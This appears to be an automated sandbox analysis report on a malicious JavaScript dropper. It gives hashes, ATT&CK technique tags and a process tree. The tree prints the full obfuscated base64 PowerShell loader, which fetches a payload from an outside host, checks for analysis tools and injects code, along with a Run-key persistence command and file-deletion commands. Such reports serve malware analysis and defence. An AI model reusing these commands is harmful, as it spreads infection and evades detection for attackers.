1c9a5adb16ff2457942ee3b133b2241e8768b1c3702deeae67e6c8c09136bcaa

Analysis

max time kernel
149s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 08:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
W2000011853108822-5121004.js
Size 40KB
Sample260602-ktb84ahs8z
SHA256 1c9a5adb16ff2457942ee3b133b2241e8768b1c3702deeae67e6c8c09136bcaa
MD5 9b0932a43c8f7aee62d9d611defafcc0
SHA1 96b50fac386af7a67e057cc5520bc3dd61b3f95b
SHA512 a8e2db3b4cd17ae4ded602fe3a22f91ebf8f622399c85ed1850118502bbf3552d0855f3eea3cb3c07620bebb4c763b94195632108f0bc5c718a903ef3bc80023
SSDEEP 768:RnWgRegegegegegegegegegegegegegegegegegegVgAVE19llFbbkyp1V9zyd:RxRZZZZZZZZZZZZZZZZZZGAVEf/Fb5zo
TLSH
T1BB137916769FCA0431A24A8A4AAF07750B6F799F1FBF40C9008DEEC98FD35115D877A2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3068	powershell.exe
4	6088	powershell.exe
5	6088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe
4924	powershell.exe
6088	powershell.exe
752	powershell.exe
5572	powershell.exe
1756	powershell.exe
1236	powershell.exe
5320	powershell.exe
1656	powershell.exe
4100	powershell.exe
4432	powershell.exe
4624	powershell.exe
5248	powershell.exe
3068	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_jvk = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\qrjjf.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
6088	powershell.exe
6088	powershell.exe
5572	powershell.exe
5572	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5572 set thread context of 3512	5572	powershell.exe	120

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4408	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 24 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5868	cmd.exe
2444	cmd.exe
1200	cmd.exe
3416	PING.EXE
3236	cmd.exe
3332	cmd.exe
6128	cmd.exe
1672	PING.EXE
5808	cmd.exe
2168	PING.EXE
3024	PING.EXE
3892	PING.EXE
1796	PING.EXE
4960	PING.EXE
4164	PING.EXE
3444	PING.EXE
1452	cmd.exe
4324	cmd.exe
3668	cmd.exe
4328	cmd.exe
3824	PING.EXE
3736	PING.EXE
1736	PING.EXE
3592	cmd.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4948	ipconfig.exe

Runs ping.exe 1 TTPs 12 IoCs

Remote System Discovery

T1018

pid	Process
4960	PING.EXE
3416	PING.EXE
3736	PING.EXE
3024	PING.EXE
4164	PING.EXE
3444	PING.EXE
2168	PING.EXE
1672	PING.EXE
3824	PING.EXE
3892	PING.EXE
1736	PING.EXE
1796	PING.EXE

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
3068	powershell.exe
3068	powershell.exe
6088	powershell.exe
6088	powershell.exe
4408	powershell.exe
4408	powershell.exe
6088	powershell.exe
4440	powershell.exe
4440	powershell.exe
6088	powershell.exe
752	powershell.exe
752	powershell.exe
4100	powershell.exe
4100	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
1756	powershell.exe
1756	powershell.exe
5572	powershell.exe
1236	powershell.exe
1236	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5320	powershell.exe
5320	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
1656	powershell.exe
1656	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
4432	powershell.exe
4432	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
4624	powershell.exe
4624	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
5248	powershell.exe
5248	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5572	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeSystemEnvironmentPrivilege	3068	powershell.exe
Token: SeRemoteShutdownPrivilege	3068	powershell.exe
Token: SeUndockPrivilege	3068	powershell.exe
Token: SeManageVolumePrivilege	3068	powershell.exe
Token: 33	3068	powershell.exe
Token: 34	3068	powershell.exe
Token: 35	3068	powershell.exe
Token: 36	3068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeSystemEnvironmentPrivilege	3068	powershell.exe
Token: SeRemoteShutdownPrivilege	3068	powershell.exe
Token: SeUndockPrivilege	3068	powershell.exe
Token: SeManageVolumePrivilege	3068	powershell.exe
Token: 33	3068	powershell.exe
Token: 34	3068	powershell.exe
Token: 35	3068	powershell.exe
Token: 36	3068	powershell.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeIncreaseQuotaPrivilege	4408	powershell.exe
Token: SeSecurityPrivilege	4408	powershell.exe
Token: SeTakeOwnershipPrivilege	4408	powershell.exe
Token: SeLoadDriverPrivilege	4408	powershell.exe
Token: SeSystemProfilePrivilege	4408	powershell.exe
Token: SeSystemtimePrivilege	4408	powershell.exe
Token: SeProfSingleProcessPrivilege	4408	powershell.exe
Token: SeIncBasePriorityPrivilege	4408	powershell.exe
Token: SeCreatePagefilePrivilege	4408	powershell.exe
Token: SeBackupPrivilege	4408	powershell.exe
Token: SeRestorePrivilege	4408	powershell.exe
Token: SeShutdownPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeSystemEnvironmentPrivilege	4408	powershell.exe
Token: SeRemoteShutdownPrivilege	4408	powershell.exe
Token: SeUndockPrivilege	4408	powershell.exe
Token: SeManageVolumePrivilege	4408	powershell.exe
Token: 33	4408	powershell.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 5904	1084	wscript.exe	80
PID 5904 wrote to memory of 4924	5904	wscript.exe	81
PID 4924 wrote to memory of 3068	4924	powershell.exe	83
PID 3068 wrote to memory of 6088	3068	powershell.exe	85
PID 6088 wrote to memory of 4408	6088	powershell.exe	86
PID 6088 wrote to memory of 1452	6088	powershell.exe	87
PID 6088 wrote to memory of 3332	6088	powershell.exe	88
PID 6088 wrote to memory of 6128	6088	powershell.exe	89
PID 6088 wrote to memory of 4324	6088	powershell.exe	90
PID 1452 wrote to memory of 3024	1452	cmd.exe	91
PID 6088 wrote to memory of 3668	6088	powershell.exe	92
PID 6088 wrote to memory of 4328	6088	powershell.exe	93
PID 3332 wrote to memory of 1796	3332	cmd.exe	94
PID 6128 wrote to memory of 3892	6128	cmd.exe	95
PID 4324 wrote to memory of 3824	4324	cmd.exe	96
PID 3668 wrote to memory of 1672	3668	cmd.exe	97
PID 4328 wrote to memory of 1736	4328	cmd.exe	98
PID 6088 wrote to memory of 3236	6088	powershell.exe	99
PID 3236 wrote to memory of 4960	3236	cmd.exe	100
PID 6088 wrote to memory of 3592	6088	powershell.exe	101
PID 6088 wrote to memory of 5808	6088	powershell.exe	102
PID 6088 wrote to memory of 5868	6088	powershell.exe	103
PID 6088 wrote to memory of 1200	6088	powershell.exe	104
PID 6088 wrote to memory of 2444	6088	powershell.exe	105
PID 3592 wrote to memory of 3736	3592	cmd.exe	106
PID 5808 wrote to memory of 3444	5808	cmd.exe	107
PID 5868 wrote to memory of 3416	5868	cmd.exe	108
PID 1200 wrote to memory of 4164	1200	cmd.exe	109
PID 2444 wrote to memory of 2168	2444	cmd.exe	110
PID 4408 wrote to memory of 4948	4408	powershell.exe	112
PID 6088 wrote to memory of 4440	6088	powershell.exe	113
PID 6088 wrote to memory of 752	6088	powershell.exe	114
PID 6088 wrote to memory of 4100	6088	powershell.exe	115
PID 6088 wrote to memory of 5572	6088	powershell.exe	116
PID 6088 wrote to memory of 1888	6088	powershell.exe	118
PID 5572 wrote to memory of 3512	5572	powershell.exe	120
PID 5572 wrote to memory of 3512	5572	powershell.exe	120
PID 5572 wrote to memory of 3512	5572	powershell.exe	120
PID 5572 wrote to memory of 3512	5572	powershell.exe	120
PID 5572 wrote to memory of 3512	5572	powershell.exe	120
PID 5572 wrote to memory of 1756	5572	powershell.exe	121
PID 1756 wrote to memory of 1236	1756	powershell.exe	122
PID 1756 wrote to memory of 5320	1756	powershell.exe	123
PID 1756 wrote to memory of 1656	1756	powershell.exe	124
PID 1756 wrote to memory of 4432	1756	powershell.exe	125
PID 1756 wrote to memory of 4624	1756	powershell.exe	126
PID 1756 wrote to memory of 5248	1756	powershell.exe	127

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\W2000011853108822-5121004.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\jdfzr.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2NwZ3NyLnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd5dGR' + '0' + 'eC5' + '0' + 'eHQnKS' + 'A' + '7JG1xYmNtID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JG1xYmNtLkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JG1xYmNtLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JG1xYmNtLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JG1xYmNtLlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kbXFiY2' + '0' + 'uRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyR4bmZndC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JHhuZmd' + '0' + 'ID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJHhuZmd' + '0' + 'LCdcJXglKycpKVsxXSkuVHJpbSgpOyR4bmZndCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskaGNucmYgKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyRoY25yZi' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbXhpTDJGa' + '0' + '5EaGpMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ3l' + '0' + 'ZHR4LnR4dCcnKS' + 'A' + '7JG1rbWZ2ID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JGhjbnJmICs' + ' + 9 + ' + 'ICckbWttZnYgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyRoY25yZi' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'keXpneGsgPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyRoY25yZi' + 'A' + 'rPS' + 'A' + 'nJHl6Z3hrID' + '0' + 'gKCRta21mdi' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskaGNucmYgKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJHl6Z3hrICk7Jy' + 'A' + '7JGhjbnJmICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JGhjbnJmICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd4Z2hxcV8wMS5wczEnICkgOyRoY25yZiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$spnds = $GGIvy ;$spnds = $spnds.replace('''',$OoOOF) ;$spnds = $spnds.replace('+ ',$OoOOF) ;$spnds = $spnds.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $spnds ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace '%vVlGz%','C:\Users\Public\jdfzr的这五js') ;$JWSrQ = 'C:\Users\Public\jkndh.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\jkndh.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\xghqq_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Clear-DnsClientCache -ErrorAction SilentlyContinue; ipconfig /flushdns | Out-Null ;
        6⤵
        Hide Artifacts: Ignore Process Interrupts
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4408
        
        C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        Gathers network information
        
        PID:4948
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778729716.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1452
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3024
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3332
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1796
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6cf5.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6128
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3892
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6d0f.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4324
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3824
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6cf5.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3668
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1672
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6d0f.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4328
